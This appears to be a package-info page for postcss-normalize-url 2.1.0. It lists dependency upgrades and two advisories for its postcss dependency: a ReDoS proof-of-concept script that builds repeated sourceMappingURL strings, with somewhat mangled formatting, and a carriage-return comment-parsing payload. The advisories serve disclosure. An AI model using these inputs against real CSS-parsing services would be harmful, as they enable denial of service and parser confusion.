PostCSS Normalize URL, a utility for cleaning and standardizing URLs within CSS using PostCSS, saw a notable update from version 2.0.3 to 2.1.0. While the core functionality remained consistent, several dependency updates and development environment enhancements were introduced. For developers, this means improved compatibility and potentially better performance depending on the specific use case.
Key changes include updated dependencies. The "postcss" dependency jumped from version ^4.1.9 to ^4.1.14, incorporating the PostCSS updates within that range. Similarly, "normalize-url" advanced from version ^1.2.0 to ^1.3.0, offering refinements in URL normalization logic. The "object-assign" dependency saw a significant bump, moving from ^2.0.0 to ^3.0.0, likely for broader browser compatibility and performance improvements. "is-absolute-url" updated from ^1.0.0 to ^2.0.0, and the changes are related to the way absolute URLs are handled.
Furthermore, the development dependencies were upgraded, with "tape" moving from ^3.5.0 to ^4.0.0, "jshint" from ^2.6.3 to ^2.8.0, "tap-spec" from ^2.2.2 to ^4.0.2, and especially "jshint-stylish" from ^1.0.1 to ^2.0.1. These changes may not directly affect the end-user, they provided developer QoL improvements or may lead to higher code quality because of new style and check rules. From a developer's perspective, the upgrade to 2.1.0 signals a commitment to staying current with underlying libraries and tools. While the functional changes are subtle, the updated dependencies make sense.
All the vulnerabilities related to the version 2.1.0 of the package
Regular Expression Denial of Service in postcss
The package postcss versions before 7.0.36 or between 8.0.0 and 8.2.13 are vulnerable to Regular Expression Denial of Service (ReDoS) via getAnnotationURL() and loadAnnotation() in lib/previous-map.js. The vulnerable regexes are caused mainly by the sub-pattern
\/\*\s* sourceMappingURL=(.*)
var postcss = require("postcss")
function build_attack(n) {
var ret = "a{}"
for (var i = 0; i < n; i++) {
ret += "/*# sourceMappingURL="
}
return ret + "!";
}
postcss.parse('a{}/*# sourceMappingURL=a.css.map */') for (var i = 1; i <= 500000; i++) {
if (i % 1000 == 0) {
var time = Date.now();
var attack_str = build_attack(i) try {
postcss.parse(attack_str) var time_cost = Date.now() - time;
console.log("attack_str.length: " + attack_str.length + ": " + time_cost + " ms");
} catch (e) {
var time_cost = Date.now() - time;
console.log("attack_str.length: " + attack_str.length + ": " + time_cost + " ms");
}
}
}
PostCSS line return parsing error
An issue was discovered in PostCSS before 8.4.31. It affects linters using PostCSS to parse external Cascading Style Sheets (CSS). There may be \r discrepancies, as demonstrated by @font-face{ font:(\r/*);} in a rule.
This vulnerability affects linters using PostCSS to parse external untrusted CSS. An attacker can prepare CSS in such a way that it will contains parts parsed by PostCSS as a CSS comment. After processing by PostCSS, it will be included in the PostCSS output in CSS nodes (rules, properties) despite being originally included in a comment.